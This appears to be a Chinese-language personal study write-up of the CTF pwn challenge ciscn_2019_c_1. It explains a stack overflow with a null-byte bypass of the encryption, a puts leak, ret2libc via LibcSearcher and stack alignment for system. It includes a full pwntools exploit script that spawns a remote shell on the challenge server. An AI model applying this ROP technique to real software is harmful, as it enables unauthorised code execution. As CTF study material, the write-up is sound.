声明:本文用途为供自己学习
参考博文一:CSDN-半步行止(作者)-ciscn_2019_c_1
参考博文二:CSDN-Angel~Yan(作者)-[BUUCTF]PWN6——ciscn_2019_c_1
参考博文三:博客园-ZIKH26(作者)-关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题
encryp
t函数中存在gets
函数,本题中没有canary
保护所以可以栈溢出,而后面的伪代码表示会对输入的每一个字符进行加密,即意图让的输入发生改变,如此就不能保证输入的payload
达到攻击目的。而strlen
函数的返回值为遇到第一个'\0'
时的字符串长度,例如"q\0abcd"
的长度为1。因此输入的字符串如果存在\0
,则其第一个\0
后的内容不会被加密(修改),即借此可以正常构造payload
,此题中没有system('/bin/sh')
,不能ret2system
,用ret2libc构造ROP链的方法达到攻击目的。system
和/bin/sh
都能够在libc
中找到,通过puts
函数泄露puts
函数的真实地址(puts.got.plt
的内容),计算处libc
基质进一步得出system
函数和/bin/sh
在程序运行时真实地址,注意:此时要保证栈平衡(后面会涉及改内容,详见参考博文三)。
由于该程序采用动态链接,只有在程序运行时才会进行重定位操作(这部分略,不去学习相关内容还是不会理解),由于RELRO
保护,在本地文件中直接找到的puts
函数plt
和got
表的地址并非在运行时的地址,got
表一开始是没有存放该真实地址,因此需要在程序运行时确定。而puts函数的作用是打印参数内容,如果把栈溢出时的返回地址篡改为puts函数的地址(为什么这里用plt而不可以用got????有待探究),且把puts
的参数设置为puts.got.plt的地址,则该地址内的内容就会被打印出,而该地址内由于puts
函数之前已经加载过了,因此该地址内内容为put
函数在程序运行时的真实地址。
(由于程序开启了RELRO
保护,因此puts_got
的值每次运行时不一样,因此还需要把)
以下代码参考:CSDN-Angel~Yan(作者)-[BUUCTF]PWN6——ciscn_2019_c_1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
payload=b'\0'+b'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi_ret) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_got) #调用puts函数,输出的是puts的got表地址
payload+=p64(puts_plt) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
payload+=p64(main) #让它返回到main函数,这样我们才可以再一次利用输入点构造rop
io.sendlineafter(b"Input your choice!\n",b'1')
io.sendlineafter(b'encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))#接收程序返回的地址#lijust(8,'\0'),不满8位的用0补足
print(hex(puts_addr))
cd ~
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python3 setup.py install
如果直接运行python exp.py
提示"No module named LibcSearcher"
,需要将LibcSearcher.py
复制到当前工作目录。
附:在线libc库查询网站(根据外部函数真实地址(十六进制格式)最后三位查询)(如puts
函数运行时真实地址为0x7f3d534819c0
,则输入9c0
,原理见下一条目)
参考博文:CSDN-半步行止(作者)-ciscn_2019_c_1
低三位决定libc
的版本号,这是由分页机制决定的,以下是“半步行止”对于“北岛静石”的引用。目前我没有找到有关“北岛静石”对于libc
版本的阐述,今后找到相关libc
版本阐述的说法会更新此处。
北岛静石师傅:
不同libc版本代码会有修改, 导致它基地址会发生改变
然后由于页对齐机制
4kb为一页
4kb=4*1024=2^12=0x1000
所有页都是这样对齐的, 所以在分配给动态链接库的时候
不会影响到低三字节
由此可以确定版本信息了
那种分配给动态链接库的内存, 也是n个页
n*0x1000怎么样都不会影响低三字节的
(下图中write
即为本题中puts
)
libc.so
文件中puts
(write
)函数和system
函数分布的示意图:
目标攻击文件在内存中中(运行时)的布局及各函数的布局(与上图对应如下)示意图如下:
(ps:上图自上到下是由低地址到高地址,下图相反:自上到下是由高地址到低地址)
使用以下代码:
大致原理见上两张图
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
使用以下代码:
libc=ELF('././libc-2.27.so')
libc_base=puts_addr-libc.symbols('puts')
sys_addr=libc_base+libc.symbols('system')
binsh_addr=libc_base+ libc.search('/bin/sh').next()
pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
payload2 = b'\0' + b'a' * (0x50 - 1 + 0x8) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
由于本程序是64位程序,函数传递参数时第一个参数放在rdi
寄存器中,所以在返回ret system
函数之前,需要将rdi
寄存器设置为字符串"/bin/sh"
(的地址),所以gadget
需要pop rdi
,而如果没有一个紧跟着pop rdi
的ret
程序可能会异常终止,因此寻找的gadget
为pop rdi;ret
。
使用pwntools
自带的ROPgadget
工具,利用如下代码,可以得到需要的gadget
的地址,选择下图标记的地址:
(ps:如果程序开启了PIE
保护,则不能够使用ROPgadget
工具,这是因为ROPgadget
分析的仅仅是本地的二进制文件)
ROPgadget --binary ciscn_2019_c_1 --only "pop | ret"
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
关于为什么要加入ret
:平衡栈、执行system
函数前栈要16字节对齐。参考博文:博客园-ZIKH26(作者)-关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题
为什么执行system函数要栈对齐
64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐。
就是说,调用system
函数时,system
对应的栈的地址必须是16的倍数。
如果执行system的时候没有对齐怎么办?
如果执行了一个对栈地址的操作指令(比如pop,ret,push等等,但如果是mov这样的则不算对栈的操作指令),那么栈地址就会+8或是-8。为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。因为栈中地址都是以0或8结尾,0已经对齐16字节,因此只需要进行奇数次pop或push操作,就能把地址是8结尾的rsp变为0结尾,使其16字节对齐。
这时候有两种解决方法。
1、去将system函数地址+1,此处的+1,即是把地址+1,也可以理解为
+1是为了跳过一条栈操作指令(函数的第一条指令一般都是push rbp,我们的目的就是跳过一条栈操作指令,使rsp十六字节对齐,跳过一条指令,自然就是把8变成0了)
2、直接在调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。
(自言自语:也许在本程序执行时,在执行本来应该ret addr
时,栈(地址)应该就不是16字节对齐的,而执行过p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
这个后,栈相对于原来增减了8*3
,即奇数个8字节,所以在执行ret system
时栈依然没有16字节对齐)
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
io = remote("node4.buuoj.cn",26773)
else:
io = process("./ciscn_2019_c_1")
elf = ELF("ciscn_2019_c_1")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
pop_rdi_ret = 0x400c83
payload=b'\0'+b'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi_ret) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_got) #调用puts函数,输出的是puts的got表地址
payload+=p64(puts_plt) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
payload+=p64(main) #让它返回到main函数,这样我们才可以再一次利用输入点构造rop
io.sendlineafter(b"Input your choice!\n",b'1')
io.sendlineafter(b'encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))#接收程序返回的地址#lijust(8,'\0'),不满8位的用0补足
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
io.sendlineafter(b"Input your choice!\n",b'1')
ret_addr = 0x4006b9
payload2 = b'\0' + b'a' * (0x50 - 1 + 0x8) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
# sleep(1) ## 不是必要加 ,但有时候要加
io.sendlineafter(b'encrypted\n',payload2)
io.interactive()
一开始不明白为什么在payload2
中的gadget
链中要加入ret_addr
,后来知道时和system
函数有关,找了几篇博文,解决了此问题。推荐博文:参考博文三:博客园-ZIKH26(作者)-关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题
其他博文:
参考博文三:CSDN-小手琴师(作者)-x86_64汇编中的栈平衡(内平栈外平栈)附od反汇编图解
LibcSearcher
通过程序引用libc.so
中的函数在程序运行时的真实地址(16进制)的低三位来判断libc版本,本文中通过“半步行止”的博文并没有理解透彻。
payload=b'\0'+b'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi_ret) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_got) #调用puts函数,输出的是puts的got表地址
payload+=p64(puts_plt)
为什么puts_plt
不能用puts_got
?(本人猜测是在plt
表中还有些有关函数执行的操作,而got
表里差不多只有函数的真实地址,不能够支撑函数运行??,有待后续研究)